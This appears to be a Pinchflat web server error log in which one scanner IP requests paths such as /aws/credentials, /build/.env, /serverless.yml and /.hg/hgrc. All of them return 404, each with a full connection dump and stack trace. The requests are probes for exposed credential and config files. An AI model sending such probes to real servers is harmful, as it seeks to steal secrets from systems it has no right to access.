{"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvzWz-Da0ewAAeyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45268}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45268}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: (truncated) 15:23:47.710 [info] GET /firebase-debug.log 15:23:47.710 [info] GET /serverless.yml 15:23:47.710 [debug] QUERY OK source="settings" db=0.2ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.710 [debug] QUERY OK source="settings" db=0.2ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.710 [debug] QUERY OK source="settings" db=0.0ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.710 [debug] QUERY OK source="settings" db=0.0ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.710 [error] #PID<0.9970.0> running PinchflatWeb.Endpoint (connection #PID<0.9969.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /serverless.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9970.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHv3oNhOwiGcAA5MB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9970.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ (truncated) 15:23:47.710 [error] #PID<0.9968.0> running PinchflatWeb.Endpoint (connection #PID<0.9967.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /firebase-debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9967.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9968.0>, params: %{}, path_info: ["firebase-debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/firebase-debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHv3nZvAUhqAAAezC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9967.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9967.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-debug.log", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome (truncated) 15:23:47.924 [info] GET /.hg/hgrc 15:23:47.924 [debug] QUERY OK source="settings" db=0.0ms idle=231.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.924 [debug] QUERY OK source="settings" db=0.0ms idle=214.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.925 [error] #PID<0.9974.0> running PinchflatWeb.Endpoint (connection #PID<0.9973.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.hg/hgrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hg/hgrc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9973.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9974.0>, params: %{}, path_info: [".hg", "hgrc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.hg/hgrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHwqu6iRJPysAAe0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9973.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hg/hgrc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9973.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" (truncated) 15:23:50.510 [info] GET /build/.env 15:23:50.511 [debug] QUERY OK source="settings" db=0.3ms idle=1572.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.511 [debug] QUERY OK source="settings" db=0.0ms idle=1572.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.511 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.511 [error] #PID<0.9976.0> running PinchflatWeb.Endpoint (connection #PID<0.9975.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /build/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9975.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50548}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" 